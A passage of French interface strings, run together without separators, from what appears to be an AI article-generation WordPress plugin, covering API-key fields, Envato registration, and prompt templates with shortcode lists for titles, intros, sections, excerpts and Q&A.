sont tous affichés.Veuillez consulter le menu du plugin "Activité et journalisation" pour plus de détails.Veuillez consulter ci-dessous les terrains de jeu disponibles pour tester les fonctionnalités du plugin :Vous trouverez ici quelques conseils et astuces sur l'écriture de commandes d'invite.Veuillez activer l’extension PHP curl. Veuillez contacter le support de votre fournisseur d’hébergement pour vous aider dans cette affaire.Veuillez saisir une idée de titre/un mot-cléVeuillez saisir votre code d'achat Envato, pour activer les mises à jour automatiques dans le plugin. Pour obtenir votre code d'achat, veuillez suivre ce tutoriel. Les informations soumises au serveur d'enregistrement sont : le code d'achat, l'URL du site, le nom du site, l'email de l'administrateur. Toutes ces données seront utilisées strictement à des fins d'enregistrement.Veuillez insérer le modèle de texte d'attribution de l'imageVeuillez insérer une image de largeur maximaleVeuillez insérer l'image de hauteur minimaleVeuillez insérer la largeur minimale de l’imageVeuillez indiquer la hauteur souhaitée pour les images générées par l'IAVeuillez indiquer la hauteur souhaitée pour les images en vedetteVeuillez indiquer la largeur souhaitée pour les images générées par l'IAVeuillez insérer la largeur souhaitée pour les images en vedetteVeuillez insérer la première liste de phrasesVeuillez insérer la liste des mots interdits au niveau GlobalVeuillez insérer la liste des mots globaux requisVeuillez insérer le mot-clé à remplacerVeuillez insérer le mot-clé pour remplacer le mot-clé de rechercheVeuillez insérer le lien pour être ajouté au mot-cléVeuillez insérer la liste des variablesVeuillez insérer la deuxième liste de phrasesVeuillez insérer votre clé D-ID APIVeuillez insérer votre clé API ElevenLabs.ioVeuillez insérer votre ID d’application FlickrVeuillez insérer votre clé API Google Text-to-SpeechVeuillez insérer votre clé API OpenAI/AiomaticAPIVeuillez insérer votre clé API PexelsVeuillez insérer votre clé API Pinecone.ioVeuillez insérer votre clé API PixabayVeuillez insérer votre clé API Stability.IAVeuillez insérer votre clé API TextRazorVeuillez insérer votre clé API YouTube. Vous pouvez également insérer une liste de clés API séparées par des virgules. Le plugin en sélectionnera une au hasard à chaque fois qu'il s'exécutera.Veuillez insérer votre mot de passe pour le service de filature de texte premiumVeuillez insérer votre nom d'utilisateur du service premium text spinnerVeuillez vous connecter à votre compte pour consulter les informations relatives à l'utilisation.Veuillez noter que vous pourrez également utiliser les shortcodes fournis au bas des formulaires qui peuvent être utilisés dans le terrain de jeu de l'IA. Ceux-ci ajouteront les mêmes formulaires dans la partie frontale de votre site.Veuillez noter que je ne peux pas garantir que le modèle affiné fonctionnera bien pour votre cas d'utilisation. Comme je l'ai déjà mentionné, la qualité de l'ensemble des données est très importante. Si vous disposez d'un petit ensemble de données, vous risquez de ne pas obtenir de bons résultats. Si vous disposez d'un très grand ensemble de données avec des paires de Prompts et de réponses vraiment bien définies, vous devriez obtenir de bons résultats.Veuillez fournir les URL des vidéos YouTube (une par ligne). Les vidéos doivent être publiques et comporter des sous-titres (téléchargés ou générés automatiquement). En cas d'utilisation de légendes générées automatiquement, la qualité de l'article créé risque d'être moindre. Les shortcodes imbriqués sont également pris en charge !Veuillez fournir un mot-clé de recherche pour les produits Amazon à inclure dans l'article créé.Veuillez sélectionner un Prompt/ titreVeuillez cocher au moins une case pour générer !Veuillez définir une valeur pour le shortcode d'attribution de l'image. Vous pouvez utiliser cette valeur, en utilisant le shortcode %%image_attribution%%, dans les champs de paramétrage 'Prepend Content With' et 'Append Content With'. Vous pouvez utiliser les shortcodes suivants dans ce champ de configuration : %%image_source_name%%, %%image_source_website%%, %%image_source_url%%. Ceux-ci seront mis à jour automatiquement pour la source d'image respective, d'où provient l'image importée. Cela remplacera le shortcode %%royalty_free_image_attribution%%, dans le champ de configuration "Generated Post Content".Activation de l'extensionParamètres avancés du plug-in :Intervalle de lancement automatique du plugin :Paramètres généraux du plugin :Informations sur l'enregistrement du plugin - Mises à jour automatiques activées :L'enregistrement du plugin a échoué !Enregistrement du plugin réussi !PolognePolonaisPolonais (Google Traduction)PopulaireSource d'article populairePortugaisPortugais (Google Traduction)Raisons possibles  :Auteur de l’articleAuteur de l’article :Options de catégories automatiques pour les messages :Options de commentaires automatiques sur les messages :Options de balises/Tags automatiques pour les messages :Catégories de l’articleOptions de la catégorie de l'articleEnregistrer une catégorie dans le processusContenu de l'articleContenu de l'article - Options du générateur de texte IAOptions de liens automatiques pour le contenu des messages :Mode de création des messagesChamps personnalisés d’Article / ÉvénementChamps personnalisés de l'article :Publier des taxonomies personnaliséesTaxonomies personnalisées :Extrait d’articleID des articles :Nom de l'article :Options de l'articleArticle parent :Posts SectionsListe des sections d'articles (facultatif)Liste des sections de poste (facultatif) :Source de l’articleStatut de l’articleÉtat de la publication  :Options des Tags d'articlesÉtiquettes d’articleTitre de l'articleTitre de l'article - Options du générateur de texte IA (%%ai_generated_title%% shortcode)Liste des titres des articles / URL du fichier TXT / URL du flux RSSTitre du poste SourceTitre du poste Source :Type d'articleType d’article :Types de messages où générer des liens automatiquesTypes de messages où générer des liens automatiques :Types de messages pour générer des liens entrants :Article créé en tant que brouillon. Choisissez après la marche à suivre :L'article sera édité en respectant les configurations que vous avez faites dans la section du menu du plugin 'AI Content Editor'.Options de publicationArticlesFiltrage automatique des Articles publiés à modifier :Articles générées :Mot de passe/clé API du service Premium Spinner :Nom d’utilisateur/adresse e-mail du service Premium Spinner :Prédire le texte à toutes les Prompts textuelles de l'IAPrédire le texte à toutes les Prompts textuelles de l'IA :Reprendre au débutPénalité de présencePénalité de présence :PrécédentAperçuAperçu de l’image :Page précédentePrixLe prix : Le coût de la demande.Prix : élevé à basPrix : Bas à élevéPrivéNe traitez chaque titre/mot-clé qu'une seule foisNe traitez chaque titre/mot-clé qu'une seule fois :Traiter chaque titre/sujet une seule foisTraiter chaque titre/sujet une seule fois :Mots clés pour la recherche de produitsProduitsPromptPrompt de demande de générateur de mots-clés OpenAI pour l'importation d'images libres de droits :Prompt pour le générateur de catégories d'IA :Prompt pour le générateur de commentaires de l'IA :Prompt pour le générateur d’images IAPrompt pour le générateur d’images IA :Prompt pour le générateur de rubriques liées à l’IA :Prompt pour l'IA SEO Meta Description Generator (Prompt pour le générateur de méta-descriptions IA SEO) :Prompt pour le générateur de balises/Tags AI :Prompt pour le générateur de texte IA :Prompt pour le générateur de catégories OpenAIPrompt pour le générateur de catégories OpenAI :Prompt pour le générateur de balises / Tags de publication OpenAIPrompt pour le générateur de balises de publication OpenAI :Prompt pour le générateur de texte OpenAIPrompt pour le générateur de texte OpenAI :Prompt pour le générateur de texte de titre OpenAIPrompt pour le générateur de texte de titre OpenAI :Templates d’invite :Prompt à envoyer au générateur d'images IA :Prompt à utiliser pour le contenu de l'article, qui sera appliquée à chaque titre de section généré par le plugin (ou saisi manuellement) ou à l'ensemble du contenu (en fonction de ce que vous aurez choisi en cochant la case "Utiliser le Prompt de contenu ci-dessus pour créer l'ensemble de l'article"). Vous pouvez utiliser les shortcodes suivants : %%all_product_titles%%, %%product_description%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%produit_prix_liste%%, %%offre_img%%, %%prix_numérique%%, %%prix_devise%%, %%review_link%%, %%produit_asin%%, %%cart_url%%, %%prix_liste_numérique%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le contenu de l'article, qui sera appliquée à chaque titre de section généré par le plugin (ou saisi manuellement) ou à l'ensemble du contenu (en fonction de ce que vous avez choisi en cochant la case "Utiliser le Prompt de contenu ci-dessus pour créer l'ensemble de l'article"). Vous pouvez utiliser les shortcodes suivants : %%product_title%%, %%product_description%%, %%language%%, %%all_product_titles%%, %%product_author%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%offer_url%%, %%offer_price%%, %%product_list_price%%, %%offer_img%%, %%price_numeric%%, %%price_currency%%, %%review_link%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%product_imgs_html%%, %%price_with_discount_fixed%%, %%first_hand_experience_prompt%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le contenu de l’article, qui sera appliquée à chaque titre de section généré par le plugin (ou entré manuellement) ou à l’ensemble du contenu (selon la façon dont vous sélectionnez en utilisant la case à cocher « Utiliser l’invite de contenu ci-dessus pour créer l’article entier »). Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par les règles d’autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction 'Custom Shortcode Creator' à partir des paramètres de règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l’IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le contenu de l'article, qui s'appliquera à chaque titre de section généré par le plugin (ou saisi manuellement) ou à l'ensemble du contenu (en fonction de la sélection effectuée à l'aide de la case à cocher "Utiliser le Prompt de contenu ci-dessus pour créer l'ensemble de l'article"). Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%section_actuelle%%, %%paragraphes_par_section%%, %%phrase_aléatoire%%, %%phrase_aléatoire2%%, %%titre_du_blog%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - pour désactiver l'intro de l'article, laissez cette invite vide - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - pour désactiver l'intro de l'article, laissez cette invite vide - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - pour désactiver l'intro de l'article, laissez cette invite vide - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le message Q&R. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - pour désactiver l'outro de l'article, laissez cette invite vide - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Invite à utiliser pour la conclusion de l'article. Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Pour désactiver la conclusion de l’article, laissez cette invite vide - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par les règles d’autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction 'Custom Shortcode Creator' à partir des paramètres de règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l’IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le message Q&R. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - pour désactiver l'outro de l'article, laissez cette invite vide - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour les sections d'articles. Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour les sections d'articles. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également supportés (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Invite à utiliser pour le titre de l'article. Vous pouvez utiliser les shortcodes suivants : %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les shortcodes suivants : %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour la conclusion du message. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - pour désactiver l'outro de l'article, laissez cette invite vide - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Invite à utiliser pour la conclusion de l'article. Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Pour désactiver la conclusion de l’article, laissez cette invite vide - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par les règles d’autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction 'Custom Shortcode Creator' à partir des paramètres de règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l’IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour la fin du message. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - pour désactiver l'outro de l'article, laissez cette invite vide - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour les questions et réponses de l'article. Vous pouvez utiliser les shortcodes suivants : %%langue%%, %%style_d'écriture%%, %%ton_d'écriture%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour les questions et réponses de l'article. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour Q&R (Question Réponse). Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : shortcodes imbriqués également pris en charge (shortcodes générés par des règles d’autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction 'Custom Shortcode Creator' à partir des paramètres de règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l’IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour les sections de l'article. Celles-ci seront également définies comme titres dans l'article. Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour les sections de l'article. Celles-ci seront également définies comme titres dans l'article. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également supportés (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l’extrait de l’article. Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : shortcodes imbriqués également pris en charge (shortcodes générés par des règles d’autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction 'Custom Shortcode Creator' à partir des paramètres de règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l’IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'extrait de l'article. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les shortcodes suivants : %%search_keywords%%, %%all_product_titles%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Invite à utiliser pour l'introduction de l'article. Vous pouvez utiliser les shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Prompt à utiliser pour l'introduction de l'article. Vous pouvez utiliser les shortcodes suivants : %%video_title%%, %%video_descripton%%, %%video_url%%, 